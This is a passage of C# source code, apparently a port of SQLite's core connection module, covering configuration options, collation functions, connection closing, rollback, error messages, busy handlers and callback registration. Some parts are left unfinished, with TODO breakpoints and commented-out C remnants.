sqlite3_config( int op, ref sqlite3_pcache_methods ap ) { // va_list ap; int rc = SQLITE_OK; switch ( op ) { case SQLITE_CONFIG_GETPCACHE: { if ( sqlite3GlobalConfig.pcache.xInit == null ) { sqlite3PCacheSetDefault(); } ap = sqlite3GlobalConfig.pcache;//va_arg(ap, sqlite3_pcache_methods*) = sqlite3GlobalConfig.pcache; break; } } return rc; } static int sqlite3_config( int op, sqlite3_mem_methods ap ) { // va_list ap; int rc = SQLITE_OK; switch ( op ) { case SQLITE_CONFIG_MALLOC: { /* Specify an alternative malloc implementation */ sqlite3GlobalConfig.m = ap;// (sqlite3_mem_methods)va_arg( ap, "sqlite3_mem_methods" ); break; } } return rc; } static int sqlite3_config( int op, ref sqlite3_mem_methods ap ) { // va_list ap; int rc = SQLITE_OK; switch ( op ) { case SQLITE_CONFIG_GETMALLOC: { /* Retrieve the current malloc() implementation */ //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault(); ap = sqlite3GlobalConfig.m;//va_arg(ap, sqlite3_mem_methods*) = sqlite3GlobalConfig.m; break; } } return rc; } #if SQLITE_THREADSAFE static int sqlite3_config( int op, sqlite3_mutex_methods ap ) { // va_list ap; int rc = SQLITE_OK; switch ( op ) { case SQLITE_CONFIG_MUTEX: { /* Specify an alternative mutex implementation */ sqlite3GlobalConfig.mutex = ap;// (sqlite3_mutex_methods)va_arg( ap, "sqlite3_mutex_methods" ); break; } } return rc; } static int sqlite3_config( int op, ref sqlite3_mutex_methods ap ) { // va_list ap; int rc = SQLITE_OK; switch ( op ) { case SQLITE_CONFIG_GETMUTEX: { /* Retrieve the current mutex implementation */ ap = sqlite3GlobalConfig.mutex;// *va_arg(ap, sqlite3_mutex_methods*) = sqlite3GlobalConfig.mutex; break; } } return rc; } #endif static int sqlite3_config( int op, params object[] ap ) { // va_list ap; int rc = SQLITE_OK; /* sqlite3_config() shall return SQLITE_MISUSE if it is invoked while ** the SQLite library is in use. */ if ( sqlite3GlobalConfig.isInit != 0 ) return SQLITE_MISUSE; va_start( ap, null ); switch ( op ) { /* Mutex configuration options are only available in a threadsafe ** compile. */ #if SQLITE_THREADSAFE case SQLITE_CONFIG_SINGLETHREAD: { /* Disable all mutexing */ sqlite3GlobalConfig.bCoreMutex = false; sqlite3GlobalConfig.bFullMutex = false; break; } case SQLITE_CONFIG_MULTITHREAD: { /* Disable mutexing of database connections */ /* Enable mutexing of core data structures */ sqlite3GlobalConfig.bCoreMutex = true; sqlite3GlobalConfig.bFullMutex = false; break; } case SQLITE_CONFIG_SERIALIZED: { /* Enable all mutexing */ sqlite3GlobalConfig.bCoreMutex = true; sqlite3GlobalConfig.bFullMutex = true; break; } case SQLITE_CONFIG_MUTEX: { /* Specify an alternative mutex implementation */ sqlite3GlobalConfig.mutex = *va_arg(ap, sqlite3_mutex_methods*); break; } case SQLITE_CONFIG_GETMUTEX: { /* Retrieve the current mutex implementation */ *va_arg(ap, sqlite3_mutex_methods*) = sqlite3GlobalConfig.mutex; break; } #endif case SQLITE_CONFIG_MALLOC: { Debugger.Break(); // TODO -- /* Specify an alternative malloc implementation */ sqlite3GlobalConfig.m = (sqlite3_mem_methods)va_arg( ap, "sqlite3_mem_methods" ); break; } case SQLITE_CONFIG_GETMALLOC: { /* Retrieve the current malloc() implementation */ //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault(); //Debugger.Break(); // TODO --//va_arg(ap, sqlite3_mem_methods*) = sqlite3GlobalConfig.m; break; } case SQLITE_CONFIG_MEMSTATUS: { /* Enable or disable the malloc status collection */ sqlite3GlobalConfig.bMemstat = (int)va_arg( ap, "int" ) != 0; break; } case SQLITE_CONFIG_SCRATCH: { /* Designate a buffer for scratch memory space */ sqlite3GlobalConfig.pScratch = (byte[])va_arg( ap, "byte[]" ); sqlite3GlobalConfig.szScratch = (int)va_arg( ap, "int" ); sqlite3GlobalConfig.nScratch = (int)va_arg( ap, "int" ); break; } case SQLITE_CONFIG_PAGECACHE: { /* Designate a buffer for page cache memory space */ sqlite3GlobalConfig.pPage = (MemPage)va_arg( ap, "MemPage" ); sqlite3GlobalConfig.szPage = (int)va_arg( ap, "int" ); sqlite3GlobalConfig.nPage = (int)va_arg( ap, "int" ); break; } case SQLITE_CONFIG_PCACHE: { /* Specify an alternative page cache implementation */ Debugger.Break(); // TODO --sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, "sqlite3_pcache_methods"); break; } case SQLITE_CONFIG_GETPCACHE: { if ( sqlite3GlobalConfig.pcache.xInit == null ) { sqlite3PCacheSetDefault(); } Debugger.Break(); // TODO -- *va_arg(ap, sqlite3_pcache_methods*) = sqlite3GlobalConfig.pcache; break; } #if SQLITE_ENABLE_MEMSYS3 || SQLITE_ENABLE_MEMSYS5 case SQLITE_CONFIG_HEAP: { /* Designate a buffer for heap memory space */ sqlite3GlobalConfig.pHeap = va_arg(ap, void*); sqlite3GlobalConfig.nHeap = va_arg(ap, int); sqlite3GlobalConfig.mnReq = va_arg(ap, int); if( sqlite3GlobalConfig.pHeap==0 ){ /* If the heap pointer is NULL, then restore the malloc implementation ** back to NULL pointers too. This will cause the malloc to go ** back to its default implementation when sqlite3_initialize() is ** run. */ memset(& sqlite3GlobalConfig.m, 0, sizeof( sqlite3GlobalConfig.m)); }else{ /* The heap pointer is not NULL, then install one of the ** mem5.c/mem3.c methods. If neither ENABLE_MEMSYS3 nor ** ENABLE_MEMSYS5 is defined, return an error. */ #if SQLITE_ENABLE_MEMSYS3 sqlite3GlobalConfig.m = *sqlite3MemGetMemsys3(); #endif #if SQLITE_ENABLE_MEMSYS5 sqlite3GlobalConfig.m = *sqlite3MemGetMemsys5(); #endif } break; } #endif case SQLITE_CONFIG_LOOKASIDE: { sqlite3GlobalConfig.szLookaside = (int)va_arg( ap, "int" ); sqlite3GlobalConfig.nLookaside = (int)va_arg( ap, "int" ); break; } default: { rc = SQLITE_ERROR; break; } } va_end( ap ); return rc; } /* ** Set up the lookaside buffers for a database connection. ** Return SQLITE_OK on success. ** If lookaside is already active, return SQLITE_BUSY. ** ** The sz parameter is the number of bytes in each lookaside slot. ** The cnt parameter is the number of slots. If pStart is NULL the ** space for the lookaside memory is obtained from sqlite3_malloc(). ** If pStart is not NULL then it is sz*cnt bytes of memory to use for ** the lookaside memory. */ static int setupLookaside( sqlite3 db, byte[] pBuf, int sz, int cnt ) { //void* pStart; //if ( db.lookaside.nOut ) //{ // return SQLITE_BUSY; //} ///* Free any existing lookaside buffer for this handle before //** allocating a new one so we don't have to have space for //** both at the same time. //*/ //if ( db.lookaside.bMalloced ) //{ // //sqlite3_free( db.lookaside.pStart ); //} ///* The size of a lookaside slot needs to be larger than a pointer //** to be useful. //*/ //if ( sz <= (int)sizeof( LookasideSlot* ) ) sz = 0; //if ( cnt < 0 ) cnt = 0; //if ( sz == 0 || cnt == 0 ) //{ // sz = 0; // pStart = 0; //} //else if ( pBuf == 0 ) //{ // sz = ROUND8(sz); // sqlite3BeginBenignMalloc(); // pStart = sqlite3Malloc( sz * cnt ); // sqlite3EndBenignMalloc(); //} //else //{ // ROUNDDOWN8(sz); // pStart = pBuf; //} //db.lookaside.pStart = pStart; //db.lookaside.pFree = 0; //db.lookaside.sz = (u16)sz; //if ( pStart ) //{ // int i; // LookasideSlot* p; // Debug.Assert( sz > sizeof( LookasideSlot* ) ); // p = (LookasideSlot*)pStart; // for ( i = cnt - 1 ; i >= 0 ; i-- ) // { // p.pNext = db.lookaside.pFree; // db.lookaside.pFree = p; // p = (LookasideSlot*)&( (u8*)p )[sz]; // } // db.lookaside.pEnd = p; // db.lookaside.bEnabled = 1; // db.lookaside.bMalloced = pBuf == 0 ? 1 : 0; //} //else //{ // db.lookaside.pEnd = 0; // db.lookaside.bEnabled = 0; // db.lookaside.bMalloced = 0; //} return SQLITE_OK; } /* ** Return the mutex associated with a database connection. */ sqlite3_mutex sqlite3_db_mutex( sqlite3 db ) { return db.mutex; } /* ** Configuration settings for an individual database connection */ static int sqlite3_db_config( sqlite3 db, int op, params object[] ap ) { //va_list ap; int rc; va_start( ap, "" ); switch ( op ) { case SQLITE_DBCONFIG_LOOKASIDE: { byte[] pBuf = (byte[])va_arg( ap, "byte[]" ); int sz = (int)va_arg( ap, "int" ); int cnt = (int)va_arg( ap, "int" ); rc = setupLookaside( db, pBuf, sz, cnt ); break; } default: { rc = SQLITE_ERROR; break; } } va_end( ap ); return rc; } /* ** Return true if the buffer z[0..n-1] contains all spaces. */ static bool allSpaces( string z, int iStart, int n ) { while ( n > 0 && z[iStart + n - 1] == ' ' ) { n--; } return n == 0; } /* ** This is the default collating function named "BINARY" which is always ** available. ** ** If the padFlag argument is not NULL then space padding at the end ** of strings is ignored. This implements the RTRIM collation. */ static int binCollFunc( object padFlag, int nKey1, string pKey1, int nKey2, string pKey2 ) { int rc, n; n = nKey1 < nKey2 ? nKey1 : nKey2; rc = memcmp( pKey1, pKey2, n ); if ( rc == 0 ) { if ( (int)padFlag != 0 && allSpaces( pKey1, n, nKey1 - n ) && allSpaces( pKey2, n, nKey2 - n ) ) { /* Leave rc unchanged at 0 */ } else { rc = nKey1 - nKey2; } } return rc; } /* ** Another built-in collating sequence: NOCASE. ** ** This collating sequence is intended to be used for "case independant ** comparison". SQLite's knowledge of upper and lower case equivalents ** extends only to the 26 characters used in the English language. ** ** At the moment there is only a UTF-8 implementation. */ static int nocaseCollatingFunc( object NotUsed, int nKey1, string pKey1, int nKey2, string pKey2 ) { int n = ( nKey1 < nKey2 ) ? nKey1 : nKey2; int r = sqlite3StrNICmp( pKey1, pKey2, ( nKey1 < nKey2 ) ? nKey1 : nKey2 ); UNUSED_PARAMETER( NotUsed ); if ( 0 == r ) { r = nKey1 - nKey2; } return r; } /* ** Return the ROWID of the most recent insert */ public static sqlite_int64 sqlite3_last_insert_rowid( sqlite3 db ) { return db.lastRowid; } /* ** Return the number of changes in the most recent call to sqlite3_exec(). */ public static int sqlite3_changes( sqlite3 db ) { return db.nChange; } /* ** Return the number of changes since the database handle was opened. */ public static int sqlite3_total_changes( sqlite3 db ) { return db.nTotalChange; } /* ** Close all open savepoints. This function only manipulates fields of the ** database handle object, it does not close any savepoints that may be open ** at the b-tree/pager level. */ static void sqlite3CloseSavepoints( sqlite3 db ) { while ( db.pSavepoint != null ) { Savepoint pTmp = db.pSavepoint; db.pSavepoint = pTmp.pNext; //sqlite3DbFree( db, ref pTmp ); } db.nSavepoint = 0; db.nStatement = 0; db.isTransactionSavepoint = 0; } /* ** Close an existing SQLite database */ public static int sqlite3_close( sqlite3 db ) { HashElem i; int j; if ( db == null ) { return SQLITE_OK; } if ( !sqlite3SafetyCheckSickOrOk( db ) ) { return SQLITE_MISUSE; } sqlite3_mutex_enter( db.mutex ); sqlite3ResetInternalSchema( db, 0 ); /* Tell the code in notify.c that the connection no longer holds any ** locks and does not require any further unlock-notify callbacks. */ sqlite3ConnectionClosed( db ); /* If a transaction is open, the ResetInternalSchema() call above ** will not have called the xDisconnect() method on any virtual ** tables in the db.aVTrans[] array. The following sqlite3VtabRollback() ** call will do so. We need to do this before the check for active ** SQL statements below, as the v-table implementation may be storing ** some prepared statements internally. */ sqlite3VtabRollback( db ); /* If there are any outstanding VMs, return SQLITE_BUSY. */ if ( db.pVdbe != null ) { sqlite3Error( db, SQLITE_BUSY, "unable to close due to unfinalised statements" ); sqlite3_mutex_leave( db.mutex ); return SQLITE_BUSY; } Debug.Assert( sqlite3SafetyCheckSickOrOk( db ) ); for ( j = 0 ; j < db.nDb ; j++ ) { Btree pBt = db.aDb[j].pBt; if ( pBt != null && sqlite3BtreeIsInBackup( pBt ) ) { sqlite3Error( db, SQLITE_BUSY, "unable to close due to unfinished backup operation" ); sqlite3_mutex_leave( db.mutex ); return SQLITE_BUSY; } } /* Free any outstanding Savepoint structures. */ sqlite3CloseSavepoints( db ); for ( j = 0 ; j < db.nDb ; j++ ) { Db pDb = db.aDb[j]; if ( pDb.pBt != null ) { sqlite3BtreeClose( ref pDb.pBt ); pDb.pBt = null; if ( j != 1 ) { pDb.pSchema = null; } } } sqlite3ResetInternalSchema( db, 0 ); Debug.Assert( db.nDb <= 2 ); Debug.Assert( db.aDb[0].Equals( db.aDbStatic[0] ) ); for ( j = 0 ; j < ArraySize( db.aFunc.a ) ; j++ ) { FuncDef pNext, pHash, p; for ( p = db.aFunc.a[j] ; p != null ; p = pHash ) { pHash = p.pHash; while ( p != null ) { pNext = p.pNext; //sqlite3DbFree( db, p ); p = pNext; } } } for ( i = db.aCollSeq.first ; i != null ; i = i.next ) {//sqliteHashFirst(db.aCollSeq); i!=null; i=sqliteHashNext(i)){ CollSeq[] pColl = (CollSeq[])i.data;// sqliteHashData(i); /* Invoke any destructors registered for collation sequence user data. */ for ( j = 0 ; j < 3 ; j++ ) { if ( pColl[j].xDel != null ) { pColl[j].xDel( ref pColl[j].pUser ); } } //sqlite3DbFree( db, ref pColl ); } sqlite3HashClear( db.aCollSeq ); #if !SQLITE_OMIT_VIRTUALTABLE for(i=sqliteHashFirst(&db.aModule); i; i=sqliteHashNext(i)){ Module pMod = (Module *)sqliteHashData(i); if( pMod.xDestroy ){ pMod.xDestroy(pMod.pAux); } //sqlite3DbFree(db,ref pMod); } sqlite3HashClear(&db.aModule); #endif sqlite3Error( db, SQLITE_OK, 0 ); /* Deallocates any cached error strings. */ if ( db.pErr != null ) { sqlite3ValueFree( ref db.pErr ); } #if !SQLITE_OMIT_LOAD_EXTENSION sqlite3CloseExtensions( db ); #endif db.magic = SQLITE_MAGIC_ERROR; /* The temp.database schema is allocated differently from the other schema ** objects (using sqliteMalloc() directly, instead of sqlite3BtreeSchema()). ** So it needs to be freed here. Todo: Why not roll the temp schema into ** the same sqliteMalloc() as the one that allocates the database ** structure? */ //sqlite3DbFree( db, ref db.aDb[1].pSchema ); sqlite3_mutex_leave( db.mutex ); db.magic = SQLITE_MAGIC_CLOSED; sqlite3_mutex_free( ref db.mutex ); Debug.Assert( db.lookaside.nOut == 0 ); /* Fails on a lookaside memory leak */ if ( db.lookaside.bMalloced ) { ////sqlite3_free( ref db.lookaside.pStart ); } //sqlite3_free( ref db ); return SQLITE_OK; } /* ** Rollback all database files. */ static void sqlite3RollbackAll( sqlite3 db ) { int i; int inTrans = 0; Debug.Assert( sqlite3_mutex_held( db.mutex ) ); sqlite3BeginBenignMalloc(); for ( i = 0 ; i < db.nDb ; i++ ) { if ( db.aDb[i].pBt != null ) { if ( sqlite3BtreeIsInTrans( db.aDb[i].pBt ) ) { inTrans = 1; } sqlite3BtreeRollback( db.aDb[i].pBt ); db.aDb[i].inTrans = 0; } } sqlite3VtabRollback( db ); sqlite3EndBenignMalloc(); if ( ( db.flags & SQLITE_InternChanges ) != 0 ) { sqlite3ExpirePreparedStatements( db ); sqlite3ResetInternalSchema( db, 0 ); } /* If one has been configured, invoke the rollback-hook callback */ if ( db.xRollbackCallback != null && ( inTrans != 0 || 0 == db.autoCommit ) ) { db.xRollbackCallback( db.pRollbackArg ); } } /* ** Return a static string that describes the kind of error specified in the ** argument. */ static string sqlite3ErrStr( int rc ) { string[] aMsg = new string[]{ /* SQLITE_OK */ "not an error", /* SQLITE_ERROR */ "SQL logic error or missing database", /* SQLITE_INTERNAL */ "", /* SQLITE_PERM */ "access permission denied", /* SQLITE_ABORT */ "callback requested query abort", /* SQLITE_BUSY */ "database is locked", /* SQLITE_LOCKED */ "database table is locked", /* SQLITE_NOMEM */ "out of memory", /* SQLITE_READONLY */ "attempt to write a readonly database", /* SQLITE_INTERRUPT */ "interrupted", /* SQLITE_IOERR */ "disk I/O error", /* SQLITE_CORRUPT */ "database disk image is malformed", /* SQLITE_NOTFOUND */ "", /* SQLITE_FULL */ "database or disk is full", /* SQLITE_CANTOPEN */ "unable to open database file", /* SQLITE_PROTOCOL */ "", /* SQLITE_EMPTY */ "table contains no data", /* SQLITE_SCHEMA */ "database schema has changed", /* SQLITE_TOOBIG */ "string or blob too big", /* SQLITE_CONSTRAINT */ "constraint failed", /* SQLITE_MISMATCH */ "datatype mismatch", /* SQLITE_MISUSE */ "library routine called out of sequence", /* SQLITE_NOLFS */ "large file support is disabled", /* SQLITE_AUTH */ "authorization denied", /* SQLITE_FORMAT */ "auxiliary database format error", /* SQLITE_RANGE */ "bind or column index out of range", /* SQLITE_NOTADB */ "file is encrypted or is not a database", }; rc &= 0xff; if ( ALWAYS( rc >= 0 ) && rc < aMsg.Length && aMsg[rc] != "" )//(int)(sizeof(aMsg)/sizeof(aMsg[0])) { return aMsg[rc]; } else { return "unknown error"; } } /* ** This routine implements a busy callback that sleeps and tries ** again until a timeout value is reached. The timeout value is ** an integer number of milliseconds passed in as the first ** argument. */ static int sqliteDefaultBusyCallback( object ptr, /* Database connection */ int count /* Number of times table has been busy */ ) { #if SQLITE_OS_WIN || HAVE_USLEEP u8[] delays = new u8[] { 1, 2, 5, 10, 15, 20, 25, 25, 25, 50, 50, 100 }; u8[] totals = new u8[] { 0, 1, 3, 8, 18, 33, 53, 78, 103, 128, 178, 228 }; //# define NDELAY (delays.Length/sizeof(delays[0])) int NDELAY = delays.Length; sqlite3 db = (sqlite3)ptr; int timeout = db.busyTimeout; int delay, prior; Debug.Assert( count >= 0 ); if ( count < NDELAY ) { delay = delays[count]; prior = totals[count]; } else { delay = delays[NDELAY - 1]; prior = totals[NDELAY - 1] + delay * ( count - ( NDELAY - 1 ) ); } if ( prior + delay > timeout ) { delay = timeout - prior; if ( delay <= 0 ) return 0; } sqlite3OsSleep( db.pVfs, delay * 1000 ); return 1; #else sqlite3 db = (sqlite3)ptr; int timeout = ( (sqlite3)ptr ).busyTimeout; if ( ( count + 1 ) * 1000 > timeout ) { return 0; } sqlite3OsSleep( db.pVfs, 1000000 ); return 1; #endif } /* ** Invoke the given busy handler. ** ** This routine is called when an operation failed with a lock. ** If this routine returns non-zero, the lock is retried. If it ** returns 0, the operation aborts with an SQLITE_BUSY error. */ static int sqlite3InvokeBusyHandler( BusyHandler p ) { int rc; if ( NEVER( p == null ) || p.xFunc == null || p.nBusy < 0 ) return 0; rc = p.xFunc( p.pArg, p.nBusy ); if ( rc == 0 ) { p.nBusy = -1; } else { p.nBusy++; } return rc; } /* ** This routine sets the busy callback for an Sqlite database to the ** given callback function with the given argument. */ static int sqlite3_busy_handler( sqlite3 db, dxBusy xBusy, object pArg ) { sqlite3_mutex_enter( db.mutex ); db.busyHandler.xFunc = xBusy; db.busyHandler.pArg = pArg; db.busyHandler.nBusy = 0; sqlite3_mutex_leave( db.mutex ); return SQLITE_OK; } #if !SQLITE_OMIT_PROGRESS_CALLBACK /* ** This routine sets the progress callback for an Sqlite database to the ** given callback function with the given argument. The progress callback will ** be invoked every nOps opcodes. */ static void sqlite3_progress_handler( sqlite3 db, int nOps, dxProgress xProgress, //int (xProgress)(void*), object pArg ) { sqlite3_mutex_enter( db.mutex ); if ( nOps > 0 ) { db.xProgress = xProgress; db.nProgressOps = nOps; db.pProgressArg = pArg; } else { db.xProgress = null; db.nProgressOps = 0; db.pProgressArg = null; } sqlite3_mutex_leave( db.mutex ); } #endif /* ** This routine installs a default busy handler that waits for the ** specified number of milliseconds before returning 0. */ public static int sqlite3_busy_timeout( sqlite3 db, int ms ) { if ( ms > 0 ) { db.busyTimeout = ms; sqlite3_busy_handler( db, sqliteDefaultBusyCallback, db ); } else { sqlite3_busy_handler( db, null, null ); } return SQLITE_OK; } /* ** Cause any pending operation to stop at its earliest opportunity. */ static void sqlite3_interrupt( sqlite3 db ) { db.u1.isInterrupted = true; } /* ** This function is exactly the same as sqlite3_create_function(), except ** that it is designed to be called by internal code. The difference is ** that if a malloc() fails in sqlite3_create_function(), an error code ** is returned and the mallocFailed flag cleared. */ static int sqlite3CreateFunc( sqlite3 db, string zFunctionName, int nArg, u8 enc, object pUserData, dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value **), dxStep xStep,//)(sqlite3_context*,int,sqlite3_value **), dxFinal xFinal//)(sqlite3_context*) ) { FuncDef p; int nName; Debug.Assert( sqlite3_mutex_held( db.mutex ) ); if ( zFunctionName == null || ( xFunc != null && ( xFinal != null || xStep != null ) ) || ( xFunc == null && ( xFinal != null && xStep == null ) ) || ( xFunc == null && ( xFinal == null && xStep != null ) ) || ( nArg < -1 || nArg > SQLITE_MAX_FUNCTION_ARG ) || ( 255 < ( nName = sqlite3Strlen30( zFunctionName ) ) ) ) { return SQLITE_MISUSE; } #if !SQLITE_OMIT_UTF16 /* If SQLITE_UTF16 is specified as the encoding type, transform this ** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the ** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally. ** ** If SQLITE_ANY is specified, add three versions of the function ** to the hash table. */ if( enc==SQLITE_UTF16 ){ enc = SQLITE_UTF16NATIVE; }else if( enc==SQLITE_ANY ){ int rc; rc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF8, pUserData, xFunc, xStep, xFinal); if( rc==SQLITE_OK ){ rc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF16LE, pUserData, xFunc, xStep, xFinal); } if( rc!=SQLITE_OK ){ return rc; } enc = SQLITE_UTF16BE; } #else enc = SQLITE_UTF8; #endif /* Check if an existing function is being overridden or deleted. If so, ** and there are active VMs, then return SQLITE_BUSY. If a function ** is being overridden/deleted but there are no active VMs, allow the ** operation to continue but invalidate all precompiled statements. */ p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 0 ); if ( p != null && p.iPrefEnc == enc && p.nArg == nArg ) { if ( db.activeVdbeCnt != 0 ) { sqlite3Error( db, SQLITE_BUSY, "unable to delete/modify user-function due to active statements" ); //Debug.Assert( 0 == db.mallocFailed ); return SQLITE_BUSY; } else { sqlite3ExpirePreparedStatements( db ); } } p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 1 ); Debug.Assert( p != null /*|| db.mallocFailed != 0 */ ); if ( p == null ) { return SQLITE_NOMEM; } p.flags = 0; p.xFunc = xFunc; p.xStep = xStep; p.xFinalize = xFinal; p.pUserData = pUserData; p.nArg = (i16)nArg; return SQLITE_OK; } /* ** Create new user functions. */ public static int sqlite3_create_function( sqlite3 db, string zFunctionName, int nArg, u8 enc, object p, dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value **), dxStep xStep,//)(sqlite3_context*,int,sqlite3_value **), dxFinal xFinal//)(sqlite3_context*) ) { int rc; sqlite3_mutex_enter( db.mutex ); rc = sqlite3CreateFunc( db, zFunctionName, nArg, enc, p, xFunc, xStep, xFinal ); rc = sqlite3ApiExit( db, rc ); sqlite3_mutex_leave( db.mutex ); return rc; } #if !SQLITE_OMIT_UTF16 static int sqlite3_create_function16( sqlite3 db, string zFunctionName, int nArg, int eTextRep, object p, dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value**), dxStep xStep, //)(sqlite3_context*,int,sqlite3_value**), dxFinal xFinal //)(sqlite3_context*) ){ int rc; string zFunc8; sqlite3_mutex_enter(db.mutex); Debug.Assert( 0==db.mallocFailed ); zFunc8 = sqlite3Utf16to8(db, zFunctionName, -1); rc = sqlite3CreateFunc(db, zFunc8, nArg, eTextRep, p, xFunc, xStep, xFinal); //sqlite3DbFree(db,ref zFunc8); rc = sqlite3ApiExit(db, rc); sqlite3_mutex_leave(db.mutex); return rc; } #endif /* ** Declare that a function has been overloaded by a virtual table. ** ** If the function already exists as a regular global function, then ** this routine is a no-op. If the function does not exist, then create ** a new one that always throws a run-time error. ** ** When virtual tables intend to provide an overloaded function, they ** should call this routine to make sure the global function exists. ** A global function must exist in order for name resolution to work ** properly. */ static int sqlite3_overload_function( sqlite3 db, string zName, int nArg ) { int nName = sqlite3Strlen30( zName ); int rc; sqlite3_mutex_enter( db.mutex ); if ( sqlite3FindFunction( db, zName, nName, nArg, SQLITE_UTF8, 0 ) == null ) { sqlite3CreateFunc( db, zName, nArg, SQLITE_UTF8, 0, (dxFunc)sqlite3InvalidFunction, null, null ); } rc = sqlite3ApiExit( db, SQLITE_OK ); sqlite3_mutex_leave( db.mutex ); return rc; } #if !SQLITE_OMIT_TRACE /* ** Register a trace function. The pArg from the previously registered trace ** is returned. ** ** A NULL trace function means that no tracing is executes. A non-NULL ** trace is a pointer to a function that is invoked at the start of each ** SQL statement. */ static object sqlite3_trace( sqlite3 db, dxTrace xTrace, object pArg ) {// (*xTrace)(void*,const char*), object pArg){ object pOld; sqlite3_mutex_enter( db.mutex ); pOld = db.pTraceArg; db.xTrace = xTrace; db.pTraceArg = pArg; sqlite3_mutex_leave( db.mutex ); return pOld; } /* ** Register a profile function. The pArg from the previously registered ** profile function is returned. ** ** A NULL profile function means that no profiling is executes. A non-NULL ** profile is a pointer to a function that is invoked at the conclusion of ** each SQL statement that is run. */ static object sqlite3_profile( sqlite3 db, dxProfile xProfile,//void (*xProfile)(void*,const char*,sqlite_u3264), object pArg ) { object pOld; sqlite3_mutex_enter( db.mutex ); pOld = db.pProfileArg; db.xProfile = xProfile; db.pProfileArg = pArg; sqlite3_mutex_leave( db.mutex ); return pOld; } #endif // * SQLITE_OMIT_TRACE */ /*** EXPERIMENTAL *** ** ** Register a function to be invoked when a transaction comments. ** If the invoked function returns non-zero, then the commit becomes a ** rollback. */ static object sqlite3_commit_hook( sqlite3 db, /* Attach the hook to this database */ dxCommitCallback xCallback, //int (*xCallback)(void*), /* Function to invoke on each commit */ object pArg /* Argument to the function */ ) { object pOld; sqlite3_mutex_enter( db.mutex ); pOld = db.pCommitArg; db.xCommitCallback = xCallback; db.pCommitArg = pArg; sqlite3_mutex_leave( db.mutex ); return pOld; } /* ** Register a callback to be invoked each time a row is updated, ** inserted or deleted using this database connection. */ static object sqlite3_update_hook( sqlite3 db, /* Attach the hook to this database */ dxUpdateCallback xCallback, //void (*xCallback)(void*,int,char const *,char const *,sqlite_int64), object pArg /* Argument to the function */ ) { object pRet; sqlite3_mutex_enter( db.mutex ); pRet = db.pUpdateArg; db.xUpdateCallback = xCallback; db.pUpdateArg = pArg; sqlite3_mutex_leave( db.mutex ); return pRet; } /* ** Register a callback to be invoked each time a transaction is rolled ** back by this database connection. */ static object sqlite3_rollback_hook( sqlite3 db, /* Attach the hook to this database */ dxRollbackCallback xCallback, //void (*xCallback)(void*), /* Callback function */ object pArg /* Argument to the function */ ) { object pRet; sqlite3_mutex_enter( db.mutex ); pRet = db.pRollbackArg; db.xRollbackCallback = xCallback; db.pRollbackArg = pArg; sqlite3_mutex_leave( db.mutex ); return pRet; } /* ** This function returns true if main-memory should be used instead of ** a temporary file for transient pager files and statement journals. ** The value returned depends on the value of db->temp_store (runtime ** parameter) and the compile time value of SQLITE_TEMP_STORE. The ** following table describes the relationship between these two values ** and this functions return value. ** ** SQLITE_TEMP_STORE db->temp_store Location of temporary database ** ----------------- -------------- ------------------------------ ** 0 any file (return 0) ** 1 1 file (return 0) ** 1 2 memory (return 1) ** 1 0 file (return 0) ** 2 1 file (return 0) ** 2 2 memory (return 1) ** 2 0 memory (return 1) ** 3 any memory (return 1) */ static bool sqlite3TempInMemory( sqlite3 db ) { //#if SQLITE_TEMP_STORE==1 if ( SQLITE_TEMP_STORE == 1 ) return ( db.temp_store == 2 ); //#endif //#if SQLITE_TEMP_STORE==2 if ( SQLITE_TEMP_STORE == 2 ) return ( db.temp_store != 1 ); //#endif //#if SQLITE_TEMP_STORE==3 if ( SQLITE_TEMP_STORE == 3 ) return true; //#endif //#if SQLITE_TEMP_STORE<1 || SQLITE_TEMP_STORE>3 if ( SQLITE_TEMP_STORE < 1 || SQLITE_TEMP_STORE > 3 ) return false; //#endif return false; } /* ** This routine is called to create a connection to a database BTree ** driver. If zFilename is the name of a file, then that file is ** opened and used. If zFilename is the magic name ":memory:" then ** the database is stored in memory (and is thus forgotten as soon as ** the connection is closed.) If zFilename is NULL then the database ** is a "virtual" database for transient use only and is deleted as ** soon as the connection is closed. ** ** A virtual database can be either a disk file (that is automatically ** deleted when the file is closed) or it an be held entirely in memory. ** The sqlite3TempInMemory() function is used to determine which. */ static int sqlite3BtreeFactory( sqlite3 db, /* Main database when opening aux otherwise 0 */ string zFilename, /* Name of the file containing the BTree database */ bool omitJournal, /* if TRUE then do not journal this file */ int nCache, /* How many pages in the page cache */ int vfsFlags, /* Flags passed through to vfsOpen */ ref Btree ppBtree /* Pointer to new Btree object written here */ ) { int btFlags = 0; int rc; Debug.Assert( sqlite3_mutex_held( db.mutex ) ); //Debug.Assert( ppBtree != null); if ( omitJournal ) { btFlags |= BTREE_OMIT_JOURNAL; } if ( ( db.flags & SQLITE_NoReadlock ) != 0 ) { btFlags |= BTREE_NO_READLOCK; } #if !SQLITE_OMIT_MEMORYDB if ( String.IsNullOrEmpty( zFilename ) && sqlite3TempInMemory( db ) ) { zFilename = ":memory:"; } #endif // * SQLITE_OMIT_MEMORYDB */ if ( ( vfsFlags & SQLITE_OPEN_MAIN_DB ) != 0 && ( zFilename == null ) ) {// || *zFilename==0) ){ vfsFlags = ( vfsFlags & ~SQLITE_OPEN_MAIN_DB ) | SQLITE_OPEN_TEMP_DB; } rc = sqlite3BtreeOpen( zFilename, db, ref ppBtree, btFlags, vfsFlags ); /* If the B-Tree was successfully opened, set the pager-cache size to the ** default value. Except, if the call to BtreeOpen() returned a handle ** open on an existing shared pager-cache, do not change the pager-cache ** size. */ if ( rc == SQLITE_OK && null == sqlite3BtreeSchema( ppBtree, 0, null ) ) { sqlite3BtreeSetCacheSize( ppBtree, nCache ); } return rc; } /* ** Return UTF-8 encoded English language explanation of the most recent ** error. */ public static string sqlite3_errmsg( sqlite3 db ) { string z; if ( db == null ) { return sqlite3ErrStr( SQLITE_NOMEM ); } if ( 